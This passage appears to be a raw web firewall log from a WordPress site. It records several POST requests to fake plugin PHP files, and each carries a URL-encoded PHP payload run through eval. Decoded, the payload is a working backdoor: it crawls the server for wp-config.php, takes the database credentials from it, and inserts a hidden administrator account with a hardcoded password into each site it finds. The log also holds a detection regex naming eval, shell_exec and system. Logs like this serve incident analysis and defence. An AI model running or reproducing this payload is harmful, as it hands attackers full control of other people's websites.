28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncontent-length:12663\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nEmiqkL=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 05:39:13","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KFgqXp:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncontent-length:12663\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nKFgqXp=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%2